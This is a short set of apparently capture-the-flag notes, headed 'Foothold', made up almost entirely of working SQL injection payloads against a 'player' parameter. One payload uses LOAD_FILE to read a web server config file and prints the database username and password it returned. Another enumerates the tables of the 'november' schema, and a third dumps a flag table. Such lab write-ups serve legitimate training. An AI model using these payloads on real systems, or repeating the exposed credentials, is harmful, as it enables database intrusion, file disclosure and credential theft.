Foothold

player=ippse'+union+select+LOAD_FILE("/var/www/html/config.php")--+-

  $username = "uhc";
  $password = "uhc-11qual-global-pw";
  $dbname = "november";

player=ippse' union select group_concat(table_name) from INFORMATION_SCHEMA.TABLES where table_schema="november"-- -

player=ippse' union select * from november.flag-- -